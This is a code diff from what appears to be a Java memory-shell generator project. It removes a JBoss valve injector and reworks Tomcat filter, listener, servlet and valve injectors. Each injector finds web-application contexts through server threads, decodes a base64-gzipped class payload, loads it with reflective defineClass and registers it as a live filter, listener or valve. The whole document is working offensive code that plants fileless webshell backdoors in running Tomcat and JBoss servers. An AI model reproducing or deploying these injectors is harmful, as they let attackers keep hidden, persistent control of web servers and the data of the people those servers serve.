if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFieldValue(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFieldValue(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFieldValue(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
List listeners = Arrays.asList(objects);
|
||||
List arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
-177
@@ -1,177 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jboss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossValveInjector {
|
||||
|
||||
static {
|
||||
new JbossValveInjector();
|
||||
}
|
||||
|
||||
public JbossValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+31
-30
@@ -6,7 +6,10 @@ import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -39,8 +42,8 @@ public class TomcatFilterInjector {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
getShell(context);
|
||||
inject(context);
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -56,9 +59,9 @@ public class TomcatFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null
|
||||
@@ -70,7 +73,7 @@ public class TomcatFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -94,7 +97,7 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context) throws Exception {
|
||||
public void inject(Object context, Object shell) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
@@ -113,10 +116,13 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
|
||||
}
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
@@ -174,30 +180,25 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
+22
-29
@@ -47,9 +47,9 @@ public class TomcatListenerInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null
|
||||
@@ -86,38 +86,31 @@ public class TomcatListenerInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
return;
|
||||
}
|
||||
Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects");
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
|
||||
Object objects = invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
if (objects instanceof List) {
|
||||
List<Object> listeners = (List<Object>) objects;
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else if (getFieldValue(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List<Object>) getFieldValue(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
listeners.add(listener);
|
||||
System.out.println("listener inject successful");
|
||||
} else {
|
||||
ArrayList arrayList = new ArrayList(Arrays.asList(objects));
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
arrayList.add(listener);
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
|
||||
System.out.println("listener inject successful");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
|
||||
+2
-2
@@ -48,9 +48,9 @@ public class TomcatServletInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null
|
||||
|
||||
+2
-2
@@ -49,9 +49,9 @@ public class TomcatValveInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null
|
||||
|
||||
Reference in New Issue
Block a user